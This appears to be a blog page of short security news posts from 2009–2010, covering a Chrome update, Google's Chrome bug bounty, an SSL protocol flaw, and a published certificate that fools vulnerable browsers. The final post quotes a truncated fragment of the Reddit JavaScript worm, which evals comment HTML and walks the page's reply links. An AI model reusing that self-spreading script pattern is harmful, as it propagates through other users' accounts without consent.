Update Google Chrome

Monday, July 26th, 2010

Google Chrome 5.0.375.125 has been released to the Stable channel on Linux, Mac, Windows, and Chrome Frame.Download:http://www.google.com/chrome?hl=en

Your Google Chrome Bugs Could Be Worth $500-$1337

Friday, January 29th, 2010

Google has recently launched an "experimental new incentive" that could reward security researchers for their bugs in the Chrome browser (all versions - stable, beta, and dev) or in the open source Chromium project itself.  Their base reward is identical to Mozilla's at $500, but they are offering a higher ...

Scramble on to fix flaw in SSL security protocol

Thursday, November 5th, 2009

Software makers around the world are scrambling to fix a serious bug in the technology used to transfer information securely on the Internet.The flaw lies in the SSL protocol, best known as the technology used for secure browsing on Web sites beginning with HTTPS, and lets attackers intercept secure SSL ...

SSL trick certificate published

Wednesday, September 30th, 2009

On the Noisebridge hacker mailing list, security specialist Jacob Appelbaum has published an SSL certificate and pertinent private key that together allow web servers to avoid triggering an alert in vulnerable browsers - irrespective of the domain for which the certificate is submitted. Phishers, for example, could use the certificate ...

Reddit Javascript Worm?

Sunday, September 27th, 2009

Well, all that URL-encoded text in the links evaluates to something functionally equivalent to this: nonsense = "[x][b]\n[b]:/[" + this.innerHTML + "](/=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)"; elements = document.getElementsByTagName('a'); for (i = 0; i < elements.length; i++) { if (elements[i].innerHTML == 'reply') ...